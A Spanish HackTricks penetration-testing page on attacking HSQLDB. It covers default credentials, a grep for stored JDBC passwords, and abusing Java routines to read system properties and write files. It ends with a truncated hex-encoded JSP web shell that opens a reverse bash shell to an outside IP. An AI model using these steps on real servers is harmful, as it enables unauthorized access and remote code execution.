Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
# Información Básica HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\) es el sistema líder de base de datos relacional SQL escrito en Java. Ofrece un motor de base de datos pequeño, rápido, multihilo y transaccional con tablas en memoria y basadas en disco, y soporta modos embebido y servidor. **Puerto predeterminado:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` # Información ### Configuraciones Predeterminadas Ten en cuenta que por defecto este servicio probablemente esté ejecutándose en memoria o esté vinculado a localhost. Si lo encontraste, probablemente explotaste otro servicio y buscas escalar privilegios. Las credenciales predeterminadas suelen ser `sa` con una contraseña en blanco. Si has explotado otro servicio, busca posibles credenciales usando ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Toma nota del nombre de la base de datos con cuidado - lo necesitarás para conectarte. # Recopilación de Información Conéctate a la instancia de la base de datos [descargando HSQLDB](https://sourceforge.net/projects/hsqldb/files/) y extrayendo `hsqldb/lib/hsqldb.jar`. Ejecuta la aplicación GUI \(eww\) usando `java -jar hsqldb.jar` y conéctate a la instancia utilizando las credenciales descubiertas/débiles. Nota que la URL de conexión se verá algo así para un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`. # Trucos ## Rutinas del Lenguaje Java Podemos llamar métodos estáticos de una clase Java desde HSQLDB utilizando Rutinas del Lenguaje Java. Ten en cuenta que la clase llamada necesita estar en el classpath de la aplicación. Las JRT pueden ser `functions` o `procedures`. Las funciones pueden ser llamadas a través de sentencias SQL si el método Java devuelve una o más variables primitivas compatibles con SQL. Se invocan utilizando la sentencia `VALUES`. Si el método Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la sentencia `CALL`. ## Leyendo Propiedades del Sistema Java Crear función: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` Ejecutar función: ```text VALUES(getsystemproperty('user.name')) ``` Puede encontrar una [lista de propiedades del sistema aquí](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). ## Escribir Contenido en un Archivo Puede usar el gadget de Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` ubicado en el JDK \(cargado automáticamente en la ruta de clases de la aplicación\) para escribir elementos codificados en hexadecimal en el disco a través de un procedimiento personalizado. **Tenga en cuenta el tamaño máximo de 1024 bytes**. Crear procedimiento: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` Ejecutar procedimiento: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ```
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).